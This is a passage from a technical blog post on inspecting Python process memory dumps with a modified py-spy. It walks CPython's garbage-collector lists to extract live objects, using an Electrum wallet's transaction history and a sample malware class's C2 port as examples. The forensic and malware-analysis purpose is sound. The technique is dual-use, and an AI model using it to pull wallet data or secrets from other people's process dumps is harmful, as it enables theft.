       0x1caa4850000      0x1caa4853000     0x3000        0x0 \Windows\System32\l_intl.nls
       0x1caa4870000      0x1caa4939000    0xc9000        0x0 \Windows\System32\locale.nls
       0x1caa4960000      0x1caa4971000    0x11000        0x0 \Windows\System32\C_437.NLS
       0x1caa4a10000      0x1caa4a1f000     0xf000        0x0 \Program Files\Electrum\_internal\python3.dll
       0x1caa63f0000      0x1caa6538000   0x148000        0x0 \Windows\System32\en-US\KernelBase.dll.mui
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can then use the normal GDB commands like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&lt;/code&gt; to examine any virtual address of your choosing.&lt;/p&gt;

&lt;p&gt;The dumps can also be read by libraries such as &lt;a href=&quot;https://github.com/lief-project/LIEF&quot;&gt;LIEF&lt;/a&gt; (C++/Python/Rust) and &lt;a href=&quot;https://github.com/m4b/goblin&quot;&gt;Goblin&lt;/a&gt; (Rust).
py-spy happens to use Goblin internally. With some minor modifications to account for naming differences on Windows, py-spy can successfully display stack traces for our dump:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;spy&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dump&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;932&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;elf&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Python&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;12.10&lt;/span&gt;

&lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;ElectrumGui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;electrum&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gui&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;qt&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;602&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Daemon&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run_gui&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;electrum&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;daemon&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;674&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;handle_cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;run_electrum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;526&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;run_electrum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;507&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;run_electrum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;633&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;IocpProactor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_poll&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;asyncio&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windows_events&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;774&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;IocpProactor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;asyncio&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windows_events&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;445&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;BaseEventLoop&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_run_once&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;asyncio&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base_events&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1961&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;BaseEventLoop&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run_forever&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;asyncio&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base_events&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;645&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;ProactorEventLoop&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run_forever&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;asyncio&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windows_events&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;322&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;BaseEventLoop&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run_until_complete&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;asyncio&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base_events&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;678&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;create_and_start_event_loop&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;locals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run_event_loop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;electrum&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;util&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1683&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;threading&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1012&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;setup_thread_excepthook&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;locals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;locals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run_with_except_hook&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;electrum&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;util&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1123&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_bootstrap_inner&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;threading&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1075&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_bootstrap&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;threading&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1032&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Condition&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;wait&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;threading&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;359&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Event&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;wait&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;threading&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;655&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Plugins&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;electrum&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;796&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;setup_thread_excepthook&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;locals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;locals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run_with_except_hook&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;electrum&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;util&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1123&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_bootstrap_inner&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;threading&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1075&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_bootstrap&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;threading&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1032&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;p&gt;Side note for Windows: I recently learned that &lt;a href=&quot;https://github.com/ufrisk/MemProcFS&quot;&gt;MemProcFS&lt;/a&gt; is able to produce minidumps for processes out of a system dump (thanks for the tip, Eddi!).&lt;/p&gt;

&lt;h2 id=&quot;iterating-objects&quot;&gt;Iterating objects&lt;/h2&gt;

&lt;p&gt;Now that we have our data in a format that py-spy understands, we can get back to the original goal of looking at object data.
In Python, every object that could potentially be part of a reference cycle is tracked by the garbage collector (GC).
This includes container types like lists, dicts and sets, but also instances of user-defined classes.
We can use this to our advantage by inspecting the structures the GC uses to keep track of objects.
Essentially, we’ll be performing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gc.get_objects()&lt;/code&gt;, just from the outside looking in.&lt;/p&gt;

&lt;p&gt;py-spy is able to get the interpreter state object in order to facilitate its other features.
In modern Python versions, this also happens to be where the GC state is kept.&lt;/p&gt;

&lt;figure id=&quot;gcstate&quot; class=&quot;figure-posts&quot; style=&quot;width: 70%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/05/gcstate.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/05/gcstate.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/05/gcstate.png&quot; alt=&quot;A schematic showing different GC generations, encapsulated by GC state, encapsulated by PyInterpreterState.&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/05/gcstate.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/05/gcstate.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/05/gcstate.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 2: Interpreter state pertaining to GC (other members omitted).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;As can be seen in Figure 2, the structures use flat composition - there’s no indirection going on.
The first time we encounter a pointer is when looking at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;head&lt;/code&gt; structs embedded within each generation, which implement a cyclic doubly-linked list using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;next&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prev&lt;/code&gt; pointers.
The layout looks like this from Python 3.9 through 3.13. In 3.14, there’s an inconsequential change where the generations array was shortened from 3 to 2 and an explicitly named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;young&lt;/code&gt; generation was introduced after the array.&lt;/p&gt;

&lt;p&gt;In order to iterate over all registered objects, we simply iterate over each generation and follow the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;next&lt;/code&gt; pointers (yielding one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GcHead&lt;/code&gt; every time), until &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;next&lt;/code&gt; points back to the original generation head.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GcHead&lt;/code&gt; structs are sort of glued in front of the actual tracked objects, so in order to get the object, we just add the size of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GcHead&lt;/code&gt; to each &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;next&lt;/code&gt; pointer and end up with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyObject&lt;/code&gt;.
Neat!&lt;/p&gt;

&lt;h2 id=&quot;working-with-objects&quot;&gt;Working with objects&lt;/h2&gt;

&lt;p&gt;With object instance pointers at hand, there are several things we can do with them:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Call py-spy’s formatting logic on the object: For plain user-defined objects, this is pretty boring, since it will yield &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;MyFoobar at 0x12345&amp;gt;&lt;/code&gt;. For built-in containers like lists and dicts, it will show their contents (as if you used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print(mydict)&lt;/code&gt; in Python), which is already much more useful.&lt;/li&gt;
  &lt;li&gt;Iterate over the object’s attributes and format those in turn.&lt;/li&gt;
  &lt;li&gt;Follow an attribute chain to get specific value(s), e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MainMalwareClass._c2_connector._port&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If we don’t want to get flooded by data, we might want to do some filtering based on the type first (e.g., restrict output to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MainMalwareClass&lt;/code&gt; instances).
Each object has an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ob_type&lt;/code&gt; member, which in turn has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tp_name&lt;/code&gt; string pointer, so getting this information is pretty straight-forward.&lt;/p&gt;

&lt;p&gt;For accessing attributes, one can iterate over the object’s dict.
There are some aspects to keep in mind such as managed vs. non-managed dicts, but we won’t bore you with the technical details.
All of the low-level dict access plumbing is already implemented in py-spy via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DictIterator&lt;/code&gt; functionality.&lt;/p&gt;

&lt;p&gt;Putting it into action (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Imported_Wallet&lt;/code&gt; has an attribute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb&lt;/code&gt; of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AddressSynchronizer&lt;/code&gt;, which in turn has an attribute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_history_local&lt;/code&gt; containing a dict with transaction histories):&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;spy&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objects&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;932.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;elf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;objectpath&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Imported_Wallet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_history_local&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Found&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Imported_Wallet&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1caaa82d8e0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;fa02d09a9e9a193fc5b79b23e530c370c00e8e84e1bd543190604b02d171ad5b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;af70bb62aab453d13cbb3c4ca69fc22b71028fadebeecb5e6de036b62ada26c9&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(Note: The Bitcoin address shown here is one that has a publicly known private key.)&lt;/p&gt;

&lt;p&gt;Another interesting thing you can do is print &lt;em&gt;all&lt;/em&gt; dicts.
This will obviously produce a pretty long output, but depending on your situation, it might yield things you didn’t think to look for.&lt;/p&gt;
